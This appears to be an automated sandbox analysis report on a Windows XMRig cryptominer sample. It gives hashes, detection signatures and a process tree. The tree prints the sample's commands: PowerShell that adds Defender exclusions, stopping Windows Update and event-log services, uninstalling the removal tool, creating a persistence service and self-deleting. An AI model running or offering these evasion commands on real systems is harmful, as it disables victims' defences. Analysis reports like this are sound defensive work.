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Analysis
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max time kernel
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max time network
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platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
19/12/2024, 09:07
Static task
static1
Behavioral task
behavioral1
Sample
3ec351ace473757905cc44f30695af1435985cdf0d3433381517b691235cc46e.exe
Resource
win7-20240708-en
General
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Target
3ec351ace473757905cc44f30695af1435985cdf0d3433381517b691235cc46e.exe
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Size
5.6MB
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MD5
4e2ef4bfc6a55ccb054bb240e632570f
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SHA1
1ac57193892d7f5c89023ec5055fbdc002b6d7c0
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SHA256
3ec351ace473757905cc44f30695af1435985cdf0d3433381517b691235cc46e
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SHA512
c67f28da9586cb96957bdd432786b57630baae2329b989b491c6a77d7bc205fcc1ee3a234823a1eaac0c9a600cddc6725d0ba9fcf50656e9e4ca54c162b4cd4f
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SSDEEP
98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hv:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgL
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 8 IoCs
resource yara_rule behavioral1/memory/2028-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2028-33-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2028-32-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2028-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2028-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2028-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2028-35-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2028-40-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 884 powershell.exe 2512 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
pid Process 876 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 472 Process not Found 2884 fqwofdtexigy.exe -
Loads dropped DLL 1 IoCs
pid Process 472 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 1988 powercfg.exe 2092 powercfg.exe 3052 powercfg.exe 1808 powercfg.exe 2908 powercfg.exe 2656 powercfg.exe 2736 powercfg.exe 2240 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe 3ec351ace473757905cc44f30695af1435985cdf0d3433381517b691235cc46e.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe fqwofdtexigy.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2884 set thread context of 2552 2884 fqwofdtexigy.exe 88 PID 2884 set thread context of 2028 2884 fqwofdtexigy.exe 90 -
resource yara_rule behavioral1/memory/2028-39-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2028-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2028-33-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2028-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2028-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2028-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2028-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2028-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2028-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2028-35-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2028-27-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2028-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2028-40-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2916 sc.exe 1908 sc.exe 2664 sc.exe 2704 sc.exe 1912 sc.exe 2348 sc.exe 2716 sc.exe 2812 sc.exe 2312 sc.exe 1520 sc.exe 2864 sc.exe 2692 sc.exe 2592 sc.exe 1264 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 3060cc74f551db01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1244 3ec351ace473757905cc44f30695af1435985cdf0d3433381517b691235cc46e.exe 2512 powershell.exe 1244 3ec351ace473757905cc44f30695af1435985cdf0d3433381517b691235cc46e.exe 1244 3ec351ace473757905cc44f30695af1435985cdf0d3433381517b691235cc46e.exe 1244 3ec351ace473757905cc44f30695af1435985cdf0d3433381517b691235cc46e.exe 1244 3ec351ace473757905cc44f30695af1435985cdf0d3433381517b691235cc46e.exe 1244 3ec351ace473757905cc44f30695af1435985cdf0d3433381517b691235cc46e.exe 1244 3ec351ace473757905cc44f30695af1435985cdf0d3433381517b691235cc46e.exe 1244 3ec351ace473757905cc44f30695af1435985cdf0d3433381517b691235cc46e.exe 1244 3ec351ace473757905cc44f30695af1435985cdf0d3433381517b691235cc46e.exe 1244 3ec351ace473757905cc44f30695af1435985cdf0d3433381517b691235cc46e.exe 1244 3ec351ace473757905cc44f30695af1435985cdf0d3433381517b691235cc46e.exe 1244 3ec351ace473757905cc44f30695af1435985cdf0d3433381517b691235cc46e.exe 1244 3ec351ace473757905cc44f30695af1435985cdf0d3433381517b691235cc46e.exe 1244 3ec351ace473757905cc44f30695af1435985cdf0d3433381517b691235cc46e.exe 1244 3ec351ace473757905cc44f30695af1435985cdf0d3433381517b691235cc46e.exe 1244 3ec351ace473757905cc44f30695af1435985cdf0d3433381517b691235cc46e.exe 2884 fqwofdtexigy.exe 884 powershell.exe 2884 fqwofdtexigy.exe 2884 fqwofdtexigy.exe 2884 fqwofdtexigy.exe 2884 fqwofdtexigy.exe 2884 fqwofdtexigy.exe 2884 fqwofdtexigy.exe 2884 fqwofdtexigy.exe 2884 fqwofdtexigy.exe 2884 fqwofdtexigy.exe 2884 fqwofdtexigy.exe 2884 fqwofdtexigy.exe 2884 fqwofdtexigy.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe 2028 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 2512 powershell.exe Token: SeShutdownPrivilege 2656 powercfg.exe Token: SeShutdownPrivilege 2908 powercfg.exe Token: SeShutdownPrivilege 1808 powercfg.exe Token: SeShutdownPrivilege 2736 powercfg.exe Token: SeDebugPrivilege 884 powershell.exe Token: SeShutdownPrivilege 2092 powercfg.exe Token: SeShutdownPrivilege 3052 powercfg.exe Token: SeShutdownPrivilege 1988 powercfg.exe Token: SeShutdownPrivilege 2240 powercfg.exe Token: SeLockMemoryPrivilege 2028 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2744 wrote to memory of 2756 2744 cmd.exe 39 PID 2744 wrote to memory of 2756 2744 cmd.exe 39 PID 2744 wrote to memory of 2756 2744 cmd.exe 39 PID 876 wrote to memory of 2936 876 cmd.exe 64 PID 876 wrote to memory of 2936 876 cmd.exe 64 PID 876 wrote to memory of 2936 876 cmd.exe 64 PID 2368 wrote to memory of 1312 2368 cmd.exe 73 PID 2368 wrote to memory of 1312 2368 cmd.exe 73 PID 2368 wrote to memory of 1312 2368 cmd.exe 73 PID 2884 wrote to memory of 2552 2884 fqwofdtexigy.exe 88 PID 2884 wrote to memory of 2552 2884 fqwofdtexigy.exe 88 PID 2884 wrote to memory of 2552 2884 fqwofdtexigy.exe 88 PID 2884 wrote to memory of 2552 2884 fqwofdtexigy.exe 88 PID 2884 wrote to memory of 2552 2884 fqwofdtexigy.exe 88 PID 2884 wrote to memory of 2552 2884 fqwofdtexigy.exe 88 PID 2884 wrote to memory of 2552 2884 fqwofdtexigy.exe 88 PID 2884 wrote to memory of 2552 2884 fqwofdtexigy.exe 88 PID 2884 wrote to memory of 2552 2884 fqwofdtexigy.exe 88 PID 2884 wrote to memory of 2028 2884 fqwofdtexigy.exe 90 PID 2884 wrote to memory of 2028 2884 fqwofdtexigy.exe 90 PID 2884 wrote to memory of 2028 2884 fqwofdtexigy.exe 90 PID 2884 wrote to memory of 2028 2884 fqwofdtexigy.exe 90 PID 2884 wrote to memory of 2028 2884 fqwofdtexigy.exe 90
Processes
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C:\Users\Admin\AppData\Local\Temp\3ec351ace473757905cc44f30695af1435985cdf0d3433381517b691235cc46e.exe"C:\Users\Admin\AppData\Local\Temp\3ec351ace473757905cc44f30695af1435985cdf0d3433381517b691235cc46e.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:1244 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2512
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2744 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2756
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2704
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2916
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2864
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2716
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2692
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2736
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2656
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2908
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1808
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JVNIRHNX"2⤵
- Launches sc.exe
PID:2812
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"2⤵
- Launches sc.exe
PID:2312
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:2592
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JVNIRHNX"2⤵
- Launches sc.exe
PID:1520
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\3ec351ace473757905cc44f30695af1435985cdf0d3433381517b691235cc46e.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:876 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2936
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C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exeC:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2884 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:884
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2368 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:1312
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:1912
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2664
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:1264
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1908
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2348
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3052
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2092
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1988
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2240
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:2552
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2028
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.6MB
MD54e2ef4bfc6a55ccb054bb240e632570f
SHA11ac57193892d7f5c89023ec5055fbdc002b6d7c0
SHA2563ec351ace473757905cc44f30695af1435985cdf0d3433381517b691235cc46e
SHA512c67f28da9586cb96957bdd432786b57630baae2329b989b491c6a77d7bc205fcc1ee3a234823a1eaac0c9a600cddc6725d0ba9fcf50656e9e4ca54c162b4cd4f